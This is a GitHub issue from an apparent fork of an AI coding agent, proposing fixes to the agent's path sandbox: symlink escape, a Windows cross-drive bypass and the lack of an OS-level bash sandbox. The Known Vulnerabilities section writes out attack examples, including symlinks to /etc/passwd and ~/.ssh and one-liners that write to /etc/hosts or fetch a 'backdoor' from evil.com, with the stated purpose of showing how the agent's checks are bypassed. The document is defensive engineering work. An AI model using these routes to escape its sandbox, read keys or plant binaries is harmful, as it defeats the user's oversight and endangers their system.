Skip to content

fix: harden path sandboxing — symlink escape, cross-drive bypass, no OS sandbox #202

Description

@anandgupta42

Summary

Our fork inherits OpenCode's 7-layer path protection, but has the same known vulnerabilities that led to CVEs in both Codex (GHSA-w5fx-fh39-j5rw, CVSS 8.6) and Claude Code (CVE-2025-54794, CVSS 7.7). The agent can escape the project directory via symlinks, and the bash tool has no OS-level sandbox.

Current State: What We Have

All 7 upstream protection layers are present:

LayerMechanismLocation
Lexical containmentFilesystem.contains()path.relative() checkutil/filesystem.ts:148-150
Instance boundaryInstance.containsPath() — checks directory + worktreeproject/instance.ts:98-104
External dir promptassertExternalDirectory() — user prompt for external pathstool/external-directory.ts:12-32
Non-git safetyWorktree "/" special caseinstance.ts:102
File.read/list guardcontainsPath() before filesystem opsfile/index.ts:505, 585
Bash tool analysisTree-sitter parse + fs.realpath() + external dir prompttool/bash.ts:88-151
Test coveragePath traversal teststest/file/path-traversal.test.ts

Known Vulnerabilities

1. Symlink Escape (High Priority)

Documented TODO at file/index.ts:503: Filesystem.contains() is lexical only — symlinks inside the project can escape the sandbox.

Attack scenario:

# Inside project directory
ln -s /etc/passwd ./innocent-looking-file.txt
# Agent reads ./innocent-looking-file.txt → reads /etc/passwd# Filesystem.contains() passes because the path is lexically inside the project# Worse: directory symlink
ln -s /home/user/.ssh ./config
# Agent can now read/write SSH keys via ./config/id_rsa

Root cause:Filesystem.contains() uses path.relative() which is purely lexical:

exportfunctioncontains(parent: string,child: string){return!relative(parent,child).startsWith("..")}

Both Codex and Claude Code had equivalent CVEs for this class of bug and now use realpathSync() / canonical path resolution.

2. Windows Cross-Drive Bypass (Medium Priority)

Documented TODO at file/index.ts:504: On Windows, cross-drive paths bypass the containment check.

path.relative("C:\\project", "D:\\secrets") returns "D:\\secrets" (absolute), which doesn't start with ".." — so contains() returns true.

Fix: Add !path.isAbsolute(rel) check.

3. No OS-Level Sandbox for Bash Tool (Medium Priority)

The bash tool does tree-sitter analysis of commands, but this is best-effort — it only recognizes a hardcoded list of commands (cd, rm, cp, mv, mkdir, touch, chmod, chown, cat). Any other command with file arguments bypasses the check entirely.

Examples that bypass:

# These write outside project without triggering external_directory prompt:
python3 -c "open('/etc/hosts','a').write('malicious')"
node -e "require('fs').writeFileSync('/tmp/exfil', data)"
curl http://evil.com -o /usr/local/bin/backdoor
dd if=/dev/zero of=/important/file

Codex solves this with OS-level sandboxing (Seatbelt on macOS, bubblewrap+seccomp on Linux). Claude Code uses the same approach for bash child processes.

4. Prefix Collision Edge Case (Low Priority)

While path.relative() actually handles the basic prefix collision (/project vs /project-evil), there's no canonical resolution. Combined with symlinks, crafted paths could potentially bypass checks.

Comparison with Industry

FeatureCodexClaude CodeUs (current)
Lexical path check
Symlink resolution✅ (post-CVE)❌ (TODO)
isAbsolute(rel) check❌ (TODO)
OS-level bash sandbox✅ (Seatbelt/bwrap)✅ (Seatbelt/bwrap)
Protected dirs (.git, .ssh)
Configurable allow/deny paths
Network isolation✅ (proxy)✅ (proxy)

Proposed Fix — Phased Approach

Phase 1: Harden Filesystem.contains() (Quick Win)

Fix the symlink escape and Windows cross-drive bugs:

exportfunctioncontains(parent: string,child: string){constrel=relative(parent,child)// Block cross-drive paths on Windows (relative() returns absolute path)if(isAbsolute(rel))returnfalsereturn!rel.startsWith("..")}// New: symlink-aware version for security-critical checksexportfunctioncontainsReal(parent: string,child: string): boolean{try{constrealParent=realpathSync(parent)constrealChild=realpathSync(child)constrel=relative(realParent,realChild)return!isAbsolute(rel)&&!rel.startsWith("..")}catch{// Child doesn't exist yet (write op) — resolve parent dirconstrealParent=realpathSync(parent)constchildDir=dirname(child)try{constrealChildDir=realpathSync(childDir)constrealChild=join(realChildDir,basename(child))constrel=relative(realParent,realChild)return!isAbsolute(rel)&&!rel.startsWith("..")}catch{returnfalse// Parent dir doesn't exist either — deny}}}

Update Instance.containsPath() to use containsReal().

Tests to add:

  • Symlink pointing outside project → denied
  • Directory symlink escape → denied
  • Windows cross-drive path → denied
  • Nested symlink chains → denied
  • Symlink to allowed path within project → allowed
  • Non-existent file in valid dir → allowed

Phase 2: Protected Directories

Even inside writable roots, protect sensitive directories:

constALWAYS_PROTECTED=['.git','.ssh','.gnupg','.aws','.env','.env.local','.env.production',]

Codex does this for .git, .codex, .agents. We should extend it.

Phase 3: Configurable Allow/Deny Paths

Add to project config (.opencode/config.json or similar):

{
"sandbox": {
"allowWrite": ["~/.dbt", "/tmp/altimate"],
"denyWrite": ["~/.ssh", "~/.aws"],
"denyRead": ["~/.ssh/id_rsa"]
}
}

Phase 4: OS-Level Sandbox for Bash (Aspirational)

Implement Seatbelt (macOS) and bubblewrap (Linux) for bash tool child processes, following the Codex pattern. This is the most complex change but provides the strongest guarantee.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingpriority:highHigh priority

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions